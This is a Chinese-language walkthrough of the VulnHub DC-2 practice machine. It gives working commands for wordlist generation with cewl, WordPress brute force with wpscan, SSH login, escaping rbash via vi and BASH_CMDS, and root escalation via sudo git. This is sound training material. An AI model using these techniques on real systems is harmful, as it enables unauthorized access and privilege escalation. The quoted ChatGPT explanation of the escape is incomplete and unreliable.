知识点总结
1.IP访问与域名访问
2.端口扫描
3.目录扫描
4.cewl密码生成器
5.指纹探测
6.爆破ssh
7.msf的使用
8.rbash逃逸
9.git提权
靶机,攻击机就不多说了,给个靶机地址
https://download.vulnhub.com/dc/DC-2.zip
环境配置
因为访问该靶机80的端口时,会被重定向到dc-2.com,并连接超时,而不能访问。
此处修改kali的配置即可,首先查看到靶机IP为192.168.0.128
vi /etc/hosts
最后:wq退出即可
端口扫描
nmap扫出了http、ssh存在端口、模糊内核信息
gobuster目录扫描
查看index.php,拿到flag1
提示:一般字典没有作用,要用cewl生成字典
之后又看到wp-admin目录要登录
cewl的基本用法
得到指令
cewl http://dc-2 -w /home/yf/pass //生成pass密码字典
指纹探测
然后指纹探测发现,是Wordpress CMS,那我们就可以使用wpscan看看哪些用户发表过文章,来确定用户名
bash
whatweb http://dc-2/
wpscan --url http://dc-2/ -e u
爆破用户名,密码
确定了用户名,保存在为user文件,好用于爆破,
使用wpscan进行爆破即可
wpscan --url http://dc-2/ -U user -P pass
登录jerry,找到了flag2
如果不能直接找捷径攻陷Wordpress,那就找找其他方法。
那我们就试试历史漏洞,登录jerry后就能看到WordPress版本为6.5
那就msf尝试一下(失败)
set rhosts 192.168.0.128
run
但是发现失败了,看来是不能直接找历史漏洞了
ssh登录
突然想起开了ssh端口,试试
ssh jerry@192.168.0.128 -p 7744
ssh tom@192.168.0.128 -p 7744
jerry失败了,tom成功了
rbash限制
成功拿到了flag3,但是看不到,命令执行不了,不过有个rbash,google一下
rbash(restricted bash):就是禁用命令。在网上看了相关的rbash逃逸,如下:
fuzz之后发现很多指令都被禁用了,包括**/**也被禁用了
但是可以通过下述指令来查看flag3.txt文件
1.less 指令查看文件
2.vi 指令查看文件
提示:使用su命令,切换用户,但是由于rbash的限制我们就无法执行su,所有我们只能绕过rbash。
之后我发现可以vi来新建一个shell
rbash$ vi
:set shell=/bin/bash
:shell
可以使用cd和ls指令,查看到flag3文件后,该目录下还有个usr目录,深入到/usr/bin
此处应该就是没有被限制的命令
尝试利用scp命令,该命令大概就是把远程的文件复制到现在的目录下
scp -P 7744 tom@remote_host:/bin/bash ./bash
拷贝到了/usr/bin目录下,但是好像无法执行!
参考到另一篇博客
bash
DC2靶机所使用的方法:
# 利用bash_cmds自定义一个shell
BASH_CMDS[a]=/bin/sh;a
# 添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
下述是chatgpt给出的解释:
这段代码定义了一个名为 BASH_CMDS 的环境变量,其中元素 a 的值为 /bin/sh,表示一个 shell 的路径。然后,它两次更新了 PATH 环境变量,分别添加了 /bin/ 和 /usr/bin/ 目录,以便在系统中查找和执行这两个目录中的可执行文件。
我们cat /etc/passwd查看一下用户
登录jerry,密码为之前爆破出的密码adipiscing
去家目录下看看
提权
搜搜git提权的方法
推文:
2022-渗透测试-git提权(Linux)-阿里云开发者社区
Linux提权手法- Track 知识社区 - 掌控安全在线教育 - Powered by 掌控者
bash
sudo git help config 然后输入
!/bin/bash 或者 !'sh' 完成提权
Sudo git -p help
!/bin/bash
此处我在进行sudo git -p help没有提权成功,不知道怎么回事
提权后拿到final-flag.txt。